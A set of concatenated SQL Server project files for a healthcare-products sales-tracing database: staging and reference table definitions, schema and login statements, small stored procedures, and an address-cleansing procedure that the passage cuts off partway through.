[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_ID] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL,
[NUMBER_HOSPITALS] VARCHAR (MAX) NULL,
[RELATED_TO_HHA] VARCHAR (MAX) NULL,
[RELATED_TO_IMAGING] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPITAL] VARCHAR (MAX) NULL,
[RELATED_TO_ASC] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPICE] VARCHAR (MAX) NULL,
[RELATED_TO_PAYOR] VARCHAR (MAX) NULL,
[RELATED_TO_SNF] VARCHAR (MAX) NULL,
[RELATED_TO_PG] VARCHAR (MAX) NULL,
[PG_PARENT_ID] VARCHAR (MAX) NULL,
[PG_PARENT_NAME] VARCHAR (MAX) NULL,
[GROUP_PRACTICE_PAC_ID] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/BKUP.sql
CREATE SCHEMA [BKUP]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PRODUCT_BY_Name.sql
CREATE PROCEDURE CNT.spGET_PRODUCT_BY_Name
@name varchar(30)
AS
BEGIN
SET NOCOUNT ON;
select top 10 lTrim(rTrim([PROD_ID]))+'~'+lTrim(rTrim(PROD_DESC_ERP)) from [PROD].[PRODUCT] where PROD_DESC_ERP like '%' + @name +'%'
END
<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/TEMP_NM_LAUNDRY.sql
CREATE TABLE [MDM_STAGE].[TEMP_NM_LAUNDRY] (
[SRC_ID] INT NOT NULL,
[ORIG_NM] VARCHAR (255) NULL,
[UPD_NM] VARCHAR (255) NULL,
[ALT_NM] VARCHAR (255) NULL,
[DUP_NM] VARCHAR (255) NULL,
[ALT_NM_TYP] VARCHAR (20) NULL,
[SPTL_STAT_CD] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spCONTRACT_CLEANSE.sql
CREATE PROCEDURE [STAGE].[spCONTRACT_CLEANSE]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE CONT.[CONTRACT]
SET TIER_ID = SUBSTRING(STAGE.fnRemoveSpace(CNT_DESC), CHARINDEX('TIER ',STAGE.fnRemoveSpace(CNT_DESC))+5,1)
WHERE CNT_DESC LIKE '%TIER%'
and STAGE.fnRemoveSpace(CNT_DESC) <> 'Access Tier'
UPDATE CONT.[CONTRACT]
SET TIER_ID = SUBSTRING(TIER_DESC,6,1)
FROM CONT.[CONTRACT]
WHERE TIER_DESC LIKE '%TIER %'
AND STAGE.fnRemoveSpace(CNT_DESC) <> 'Access Tier'
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_DDI_2018.sql
CREATE TABLE [STAGE].[TEMP_DDI_2018] (
[DIST_ID] VARCHAR (48) NULL,
[SHPTO_NM] VARCHAR (200) NULL,
[SHPTO_ADDR_1] VARCHAR (100) NULL,
[SHPTO_ADDR_2] VARCHAR (100) NULL,
[SHPTO_CITY] VARCHAR (100) NULL,
[SHPTO_ST] VARCHAR (10) NULL,
[SHPTO_ZIP] VARCHAR (12) NULL,
[UPD_PROD_ID] VARCHAR (48) NULL,
[SALES_AMT] FLOAT (53) NULL,
[UPD_NM] VARCHAR (200) NULL,
[UPD_ADDR_1] VARCHAR (200) NULL,
[UPD_ADDR_2] VARCHAR (200) NULL,
[UPD_ZIP] CHAR (5) NULL,
[UPD_ST] CHAR (2) NULL,
[PROD_DESC] VARCHAR (200) NULL,
[UPD_CITY] VARCHAR (200) NULL,
[TERRITORY] VARCHAR (200) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/CMPNY_REL.sql
CREATE TABLE [CMPNY].[CMPNY_REL] (
[CMPNY_ID] INT NOT NULL,
[REL_CMPNY_ID] INT NOT NULL,
[REL_TYPE_ID] INT NOT NULL,
[ZIP_DISTANCE] FLOAT (53) NULL,
[REC_STAT_IN] CHAR (1) NOT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_Hospital_Connected_Care_Affiliations.sql
CREATE TABLE [STG0].[PDI_Hospital_Connected_Care_Affiliations] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[CC_DHC_ID] VARCHAR (MAX) NULL,
[CC_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[CC_CITY] VARCHAR (MAX) NULL,
[CC_STATE] VARCHAR (MAX) NULL,
[CC_FIRM_TYPE] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/E867DTL_DAILY_HIST.sql
CREATE TABLE [FTPOUT].[E867DTL_DAILY_HIST] (
[DTLCUS] VARCHAR (20) NOT NULL,
[DTLSEQ] DECIMAL (10) NOT NULL,
[DDLSEQ] DECIMAL (10) NOT NULL,
[PTDTYP] CHAR (2) NOT NULL,
[CTRQUL] CHAR (3) NULL,
[CTRNUM] VARCHAR (22) NULL,
[CTRREF] CHAR (3) NULL,
[REFCDE] VARCHAR (15) NULL,
[CTRDSC] VARCHAR (35) NULL,
[BTID] CHAR (3) NULL,
[BTNAME] VARCHAR (50) NULL,
[BTCODE] VARCHAR (22) NULL,
[BTADD1] VARCHAR (50) NULL,
[BTADD2] VARCHAR (50) NULL,
[BTCITY] VARCHAR (50) NULL,
[BTSTE] CHAR (3) NULL,
[BTZIP] VARCHAR (10) NULL,
[STID] CHAR (3) NULL,
[STNAME] VARCHAR (50) NULL,
[STCODE] VARCHAR (22) NULL,
[STADD1] VARCHAR (50) NULL,
[STADD2] VARCHAR (50) NULL,
[STCITY] VARCHAR (50) NULL,
[STSTE] CHAR (3) NULL,
[STZIP] VARCHAR (10) NULL,
[REFGLN] CHAR (3) NULL,
[GLNNUM] VARCHAR (30) NULL,
[GLNDSC] VARCHAR (30) NULL,
[REFDEA] CHAR (3) NULL,
[DEANUM] VARCHAR (30) NULL,
[DEADSC] VARCHAR (30) NULL,
[REFHIN] CHAR (3) NULL,
[HINNUM] VARCHAR (30) NULL,
[HINDSC] VARCHAR (30) NULL,
[REFMUT] CHAR (3) NULL,
[MUTNUM] VARCHAR (30) NULL,
[MUTDSC] VARCHAR (30) NULL,
[DISA06] VARCHAR (15) NOT NULL,
[DISA13] DECIMAL (9) NOT NULL,
[DST02] DECIMAL (9) NOT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL,
CONSTRAINT [UQ__E867DTL___BE89999E5805B5E1] UNIQUE NONCLUSTERED ([DTLCUS] ASC, [DTLSEQ] ASC, [DDLSEQ] ASC) WITH (FILLFACTOR = 100)
);
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/DIM_PRODUCT.sql
CREATE TABLE [REF].[DIM_PRODUCT] (
[PRODUCT_KEY] INT NOT NULL,
[COMPANY_ID] CHAR (3) NOT NULL,
[COMPANY_NAME] VARCHAR (100) NOT NULL,
[DIV_ID] CHAR (4) NOT NULL,
[PRODUCT_ID] VARCHAR (15) NOT NULL,
[PROD_DESC_ERP] VARCHAR (255) NOT NULL,
[PROD_EXTRA_DESC_ERP] VARCHAR (255) NULL,
[PROD_CATEGORY_SALES] VARCHAR (100) NOT NULL,
[PROD_CATEGORY_SALES_SORT] INT NOT NULL,
[PROD_CATEGORY_ERP] VARCHAR (100) NOT NULL,
[PROD_CATEGORY_ERP_SORT] INT NOT NULL,
[PROD_CATEGORY_MKT] VARCHAR (100) NOT NULL,
[PROD_CATEGORY_MKT_SORT] INT NOT NULL,
[PROD_BRAND] VARCHAR (100) NOT NULL,
[PROD_BRAND_SORT] INT NOT NULL,
[SALES_TYPE] VARCHAR (100) NOT NULL,
[NEW_PRODUCT_INDICATOR_Y_N] CHAR (4) NOT NULL,
[CURRENT_INDICATOR_Y_N] CHAR (2) NOT NULL,
[SELL_UOM] CHAR (3) NOT NULL,
[BPCS_CREATE_DATE] VARCHAR (10) NULL,
[BPCS_LAST_MAINT_DATE] VARCHAR (10) NULL,
[EFFECTIVE_DATE] VARCHAR (10) NULL,
[EXPIRATION_DATE] VARCHAR (10) NOT NULL,
[REPORT_SORTORDER] INT NULL,
[ETL_AUDIT_KEY] BIGINT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONTRAXX_CNT_TEST.sql
CREATE TABLE [STAGE].[CONTRAXX_CNT_TEST] (
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_EFF_DT_NR] INT NULL,
[CNT_EXP_DT_NR] INT NULL,
[CNT_APPRV_DT] INT NULL,
[CNT_TYP_CD] VARCHAR (20) NULL,
[CNT_STATUS_CODE] VARCHAR (40) NULL,
[CNT_DESC] VARCHAR (MAX) NULL,
[BUYER_GRP_CNT_NR] VARCHAR (40) NULL,
[CNT_TIER_LVL] VARCHAR (20) NULL,
[LAST_MOD_DT_NR] BIGINT NULL,
[GRP_NM] VARCHAR (100) NULL,
[CNT_EXTND_DT] INT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) CONSTRAINT [DF_STAGE_CONTRAXX_CNT_TEST_1] DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_Usage_Report.sql
CREATE TABLE [STG0].[PDI_Usage_Report] (
[First Name] VARCHAR (MAX) NULL,
[Last Name] VARCHAR (MAX) NULL,
[User Name] VARCHAR (MAX) NULL,
[Status] VARCHAR (MAX) NULL,
[Number of Logins] VARCHAR (MAX) NULL,
[Number of Reports] VARCHAR (MAX) NULL,
[Number of Exports] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospitals.sql
CREATE TABLE [STAGE].[PDI_Hospitals] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HOSPITAL_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETOWRK_PARENT_NAME] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[NUMBER_DISCHARGES] VARCHAR (MAX) NULL,
[NUMBER_BEDS] VARCHAR (MAX) NULL,
[BED_UTILIZATION] VARCHAR (MAX) NULL,
[NUM_OPERATING_ROOMS] VARCHAR (MAX) NULL,
[ADJUSTED_PATIENT_DAYS] VARCHAR (MAX) NULL,
[OUTPATIENT_SURGERIES] VARCHAR (MAX) NULL,
[INPATIENT_SUGERIES] VARCHAR (MAX) NULL,
[ICU_UTILIZATION_RATE] VARCHAR (MAX) NULL,
[CCU_UTILIZATION_RATE] VARCHAR (MAX) NULL,
[MAX_ID] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/ZIP_CODE.sql
CREATE TABLE [STG0].[ZIP_CODE] (
[RecordNumber] VARCHAR (255) NULL,
[Zipcode] VARCHAR (255) NULL,
[ZipCodeType] VARCHAR (255) NULL,
[City] VARCHAR (255) NULL,
[State] VARCHAR (255) NULL,
[LocationType] VARCHAR (255) NULL,
[Lat] VARCHAR (255) NULL,
[Long] VARCHAR (255) NULL,
[Xaxis] VARCHAR (255) NULL,
[Yaxis] VARCHAR (255) NULL,
[Zaxis] VARCHAR (255) NULL,
[WorldRegion] VARCHAR (255) NULL,
[Country] VARCHAR (255) NULL,
[LocationText] VARCHAR (255) NULL,
[Location] VARCHAR (255) NULL,
[Decommisioned] VARCHAR (255) NULL,
[TaxReturnsFiled] VARCHAR (255) NULL,
[EstimatedPopulation] VARCHAR (255) NULL,
[TotalWages] VARCHAR (255) NULL,
[Notes] VARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_ENDUSER.sql
CREATE TABLE [STAGE].[DIM_ENDUSER] (
[ENDUSER_KEY] INT NOT NULL,
[ENDUSER_ID] VARCHAR (150) NOT NULL,
[ENDUSER_SOURCE_TYPE] CHAR (6) NOT NULL,
[ENDUSER_NAME] VARCHAR (150) NULL,
[ENDUSER_ADDR1] VARCHAR (100) NULL,
[ENDUSER_ADDR2] VARCHAR (100) NULL,
[ENDUSER_ADDR3] VARCHAR (50) NULL,
[ENDUSER_CITY] VARCHAR (50) NULL,
[ENDUSER_STATE] VARCHAR (50) NULL,
[ENDUSER_ZIP] NCHAR (20) NULL,
[ENDUSER_COUNTRY] VARCHAR (100) NULL,
[HIN_NO] VARCHAR (20) NULL,
[DEA_NO] VARCHAR (20) NULL,
[GLN_NO] VARCHAR (20) NULL,
[MAX_COMPANY_TYPE] VARCHAR (50) NULL,
[DDS_COMPANY_TYPE] VARCHAR (50) NULL,
[PDI_COMPANY_TYPE] VARCHAR (50) NULL,
[MEDPRO_INDICATOR] VARCHAR (25) NULL,
[PRIMARY_GPO_KEY] SMALLINT NULL,
[PRIMARY_GPO_NAME] VARCHAR (50) NULL,
[PRIMARY_CONTRACT_NO] VARCHAR (20) NULL,
[PRIMARY_TIER_LEVEL] VARCHAR (20) NULL,
[PRIMARY_PRICING_GROUP] VARCHAR (20) NULL,
[ENDUSER_GROUP_KEY] INT NULL,
[TERRITORY_ID] VARCHAR (20) NULL,
[TERRITORY_KEY] SMALLINT NULL,
[CURRENT_INDICATOR] VARCHAR (10) NULL,
[EFF_DATE] DATE NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/REF.sql
CREATE SCHEMA [REF]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/VT_TEST/Tables/COACCT_XREF.sql
CREATE TABLE [VT_TEST].[COACCT_XREF] (
[Line] INT NULL,
[DistID] NVARCHAR (50) NULL,
[Raw Zipcode] NVARCHAR (50) NULL,
[Zip_5] NVARCHAR (50) NULL,
[DistAcctID - VT] NVARCHAR (50) NULL,
[EDI_ID_ERR] NVARCHAR (50) NULL,
[DistAcctID_DDS] NVARCHAR (50) NULL,
[CoAcctID_VT] NVARCHAR (50) NULL,
[CoAcctID_DDS] NVARCHAR (50) NULL,
[Match] NVARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_ASC_Purchasing.sql
CREATE TABLE [STG0].[PDI_ASC_Purchasing] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOAPITAL_NAME] VARCHAR (MAX) NULL,
[GPO_ID] VARCHAR (MAX) NULL,
[GPO_NAME] VARCHAR (MAX) NULL,
[GPO_TYPE] VARCHAR (MAX) NULL,
[GPO_HQ_CITY] VARCHAR (MAX) NULL,
[GPO_HQ_STATE] VARCHAR (MAX) NULL,
[GPO_HQ_PHONE] VARCHAR (MAX) NULL,
[GPO_HQ_WEBSITE] VARCHAR (MAX) NULL,
[NUM_AFFILIATIONS] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spDELETE_CONTRACT_PRODUCT.sql
CREATE PROCEDURE CNT.spDELETE_CONTRACT_PRODUCT
@cntNr int
AS
BEGIN
SET NOCOUNT ON;
DELETE FROM CONT.CNT_PROD WHERE CNT_PROD_PK = @cntNr
END
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_Utkarsh_1.Gajjar.sql
CREATE LOGIN [NICEPAK\Utkarsh.Gajjar]
FROM WINDOWS WITH DEFAULT_LANGUAGE = [us_english];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spADDR_LAUNDRY_V4.sql
CREATE PROCEDURE [STAGE].[spADDR_LAUNDRY_V4]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
------------- START ----------
UPDATE MDM_STAGE.TEMP_ADDR
SET STAT_1_CD = 0, STAT_2_CD = 0;
-- 5 sec
/*
-------------- STA_CD ---------------------
STATS_CD = 0, pending or not touched
STATS_CD = 1, okay, quality passed
STAT_CD = -1, invalid address
STAT_CD = 9 - being worked on, in process
--------------------------------------------
*/
-- First take out spaacial charcater, extra spaces, keep #, because that could be Unit
UPDATE MDM_STAGE.TEMP_ADDR SET
WB_1 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR_1)),
WB_2 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR_2));
-- 2 min 13 sec
-----------------------------------------------------
-- STEP 1: First pick the ones whihc are good
-- to go without cleaning
-----------------------------------------------------
-- TAKE OUT DIRECTION to run the same exercise
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
WB_1 = STAGE.fnGet_FirstPart(WB_1,LEN(WB_1)-LEN(A.ADDR_VAR))
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
-- 25 sec
-- If first word is numeric, and last word is a roadway, mark it as good record stat_cd = 100
UPDATE C
SET STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN ( SELECT DISTINCT ADDR_STD FROM REF.ADDR_STD WHERE CAT IN ('Roadway','Location')) A
ON STAGE.fnLastWord(WB_1) = A.ADDR_STD
WHERE
ISNUMERIC(STAGE.fnFirstWord(WB_1)) = 1
OPTION (MERGE JOIN) ;
-- 1 MIN 15 SEC sec -- 2.8 million
-- GET THE SUITE NUMBERS
-- we will do this again for smaller set of records
-- after large chunk is removed to Addr_parts
UPDATE C SET
C.STE_NR = STAGE.fnLastWord(WB_2),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(C.WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE
C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- 24 sec - 545 K
-- BUILDING NUMBERS
UPDATE C SET
C.BLDG_NR = STAGE.fnLastWord(WB_2),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- sec 1M 16 SEC SEC - 2.75 Million
-- FLOOR NUMBERS
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- Sec 4 sec, 18 K
-- Only when Address line is verified then address 2 could be okay with null value
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 1
WHERE WB_2 IS NULL AND STAT_1_CD = 1
-- 5 sec, 1.96 million
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 0 WHERE LEN(STE_NR) > 9;
-- GET RID OF this big chunk of records
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 3.5 MIN, 2.5 MILLION
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 5 SEC
-----------------------------------------------------
-- STEP 2: FIRST we will clean ADDR Line 1
-----------------------------------------------------
-- Before cleansing ADDR 1 need to take words does not belon in ADDR 2
-- Then we will clean all of the ADDR 1 at once
-----------------------------------------------
-- First set of cases: ADDR 1 is 2 words and is actually ADDR 2 = so switch
---------------------------------------------------------------------------
UPDATE C SET
C.STE_NR = CASE WHEN STE_NR IS NULL THEN STAGE.fnLastWord(WB_1) END,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
-- 24 sec - 545 K
-- BUILDING NUMBERS
UPDATE C SET
C.BLDG_NR = CASE WHEN BLDG_NR IS NULL THEN STAGE.fnLastWord(WB_1) END,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
-- FLOOR NUMBERS
UPDATE C SET
C.FL_NR = CASE WHEN C.FL_NR IS NULL THEN STAGE.fnLastWord(ADDR_STD) END ,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_1 = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
------------ ------------ ------------ ------------ ------------ ------------ ------------ -----------
------------ BEFORE CLEANSING ADDR 1, we will bring ADDR 2 TO ADDR 1 IF IT BELONGS THERE ------------
-- Change all string numbers to numeric. It will help to find street numbers in next step ---------
UPDATE C SET
WB_1 = CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.WB_1 ,LEN(C.WB_1)-charindex(' ',C.WB_1 ))
FROM
MDM_STAGE.TEMP_ADDR C,
REF.NBR_CNVRTR N
WHERE STAGE.fnWordCount(WB_1)>1 AND STAGE.fnFirstWord(WB_1) = N.NBR_STR
OPTION (MERGE JOIN);
UPDATE C SET
WB_1 = CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.WB_1 ,LEN(C.WB_1)-charindex(' ',C.WB_1 ))
FROM
MDM_STAGE.TEMP_ADDR C,
REF.NBR_CNVRTR N
WHERE STAGE.fnWordCount(WB_1)>1 AND STAGE.fnFirstWord(WB_1) = N.NBR_STR
OPTION (MERGE JOIN);
UPDATE T SET
WB_1 = WB_2,
WB_2 = WB_1
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.ADDR_STD A ON T.WB_2 LIKE '% '+A.ADDR_VAR+'%' AND A.CAT ='Roadway' AND ISNUMERIC(LEFT(T.WB_2,1)) = 1
WHERE ISNUMERIC(LEFT(T.WB_1,1)) = 0 ;
---------------------------------------------------------
-- Second set of cases: ADDR 2 is at the end of ADDR 1
-- BLDG, STE or FL are at the end of ADDR 1
---------------------------------------------------------
-- USE STAT_CD = 9 for repeating cleansing on same set of records --
UPDATE MDM_STAGE.TEMP_ADDR SET
STE_NR = STAGE.fnLastWord(WB_1),
STAT_1_CD = 9,
WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN('# '+STAGE.fnLastWord(WB_1))) )
WHERE STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = '#'
AND stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.STE_NR = STAGE.fnLastWord(WB_1),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 24 SEC, 312K
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.BLDG_NR = STAGE.fnLastWord(WB_1),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 6 SEC, 6.2 K
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR)) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) +' '+STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 8 SEC 11K
-- DO IT AGAIN FOR BUILDING AND STE
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.BLDG_NR = STAGE.fnLastWord(WB_1),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
AND A.REC_ACT_IN = 'Y'
WHERE
stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 9
and C.BLDG_NR is null
OPTION (MERGE JOIN);
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR)) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) +' '+STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
AND A.REC_ACT_IN = 'Y'
WHERE
stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 9
and C.FL_NR is NULL
OPTION (MERGE JOIN);
UPDATE C SET
C.LW_2 = A.ADDR_VAR, -- why?
C.STE_NR = STAGE.fnLastWord(WB_1),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
